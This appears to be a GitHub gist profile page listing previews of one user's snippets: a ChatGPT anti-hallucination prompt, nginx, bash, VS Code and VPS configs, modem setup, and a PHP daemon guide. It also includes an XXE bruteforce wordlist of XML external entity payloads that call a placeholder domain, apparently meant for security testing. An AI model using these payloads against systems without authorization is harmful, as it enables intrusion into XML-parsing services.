Skip to content

Instantly share code, notes, and snippets.

View benedict-erwin's full-sized avatar
🎯
Focusing

Benedict E. Pranata benedict-erwin

🎯
Focusing
View GitHub Profile
@benedict-erwin
benedict-erwin / CHATGPT VERSION (GPT-4 | GPT-4.1)
Last active June 19, 2025 05:25 — forked from iamnolanhu/CHATGPT VERSION (GPT-4 | GPT-4.1)
REALITY FILTER — A LIGHTWEIGHT TOOL TO REDUCE LLM FICTION WITHOUT PROMISING PERFECTION
✅ REALITY FILTER — CHATGPT
• Never present generated, inferred, speculated, or deduced content as fact.
• If you cannot verify something directly, say:
- “I cannot verify this.”
- “I do not have access to that information.”
- “My knowledge base does not contain that.”
• Label unverified content at the start of a sentence:
- [Inference] [Speculation] [Unverified]
• Ask for clarification if information is missing. Do not guess or fill gaps.
@benedict-erwin
benedict-erwin / xxe-payloads.txt
Created September 14, 2020 13:57 — forked from honoki/xxe-payloads.txt
XXE bruteforce wordlist
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y
# The upstream server doesn't need a prefix! no need for wss:// or http:// because nginx will upgrade to http1.1 in the config below
upstream yeomanserver {
server localhost:3000;
}
server {
listen 443;
server_name legionofevil.org;
root html;
@benedict-erwin
benedict-erwin / .bashrc
Created August 27, 2019 07:43 — forked from terrywang/.bashrc
Bash 4.2.x dot files for Linux and OS X, extracted from Ubuntu which by default does NOT use $HOME/.bash_profile for interactive login shells.
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
# [ -z "$PS1" ] && return
case $- in
*i*) ;;
*) return;;
esac
@benedict-erwin
benedict-erwin / vps-all-in-one-server.md
Last active June 30, 2022 14:19
Configuration all-in-one sever for fresh install VPS (Ubuntu 18.04)

[VPS] ALL-IN-ONE SERVER - UBUNTU 18.04

Apps

  • Apache
  • PHP-FPM
  • PHP7.2
  • PhpRedis
  • MariaDB
  • Redis Server
  • Composer
@benedict-erwin
benedict-erwin / vscode-setting.json
Last active October 9, 2019 04:06
VS Code Settings
// >> FiraCode Font https://github.com/tonsky/FiraCode/wiki
// https://stackoverflow.com/questions/47174009/visual-studio-code-unable-to-locate-phpcs/52477116
{
"showMusicMetrics": true,
"showGitMetrics": true,
"showWeeklyRanking": false,
"[php]": {
"editor.defaultFormatter": "bmewburn.vscode-intelephense-client"
},
"breadcrumbs.enabled": true,
@benedict-erwin
benedict-erwin / huawei_e8372_config.md
Created August 4, 2019 10:20 — forked from aayubkh/huawei_e8372_config.md
Huawei E8372 Linux Configuration and Setup

Dependencies

  1. usb_modeswitch, usb_modeswitch-data
  2. libusb1
  3. libusb-devel(Fedora), libusb-dev(Debian based)

Configuration

By default, your linux box would register your Huawei E8372 as a Mass Storage device and not (somehow) as a modem. First, make sure you have the exace same device we're talking about. This can be confirmed by looking at 2 values. Give the following command (while the dongle is plugged in):

    sudo su
    lsusb | grep Huawei
@benedict-erwin
benedict-erwin / usefull-links
Last active September 7, 2019 11:13
Use full Links
@benedict-erwin
benedict-erwin / php-as-daemon.md
Last active July 2, 2019 17:00
Run php script as daemon in linux (ubuntu) with Upstart

Run PHP Script as Daemon in Linux (ubuntu) with Upstart

How to set it up:

Create a config file for your phpdaemon at /etc/init/phpdaemon.conf

# Info
description "PHP Daemon"
author      "Benedict E. Pranata"

# Events

1. Clone your fork:

git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream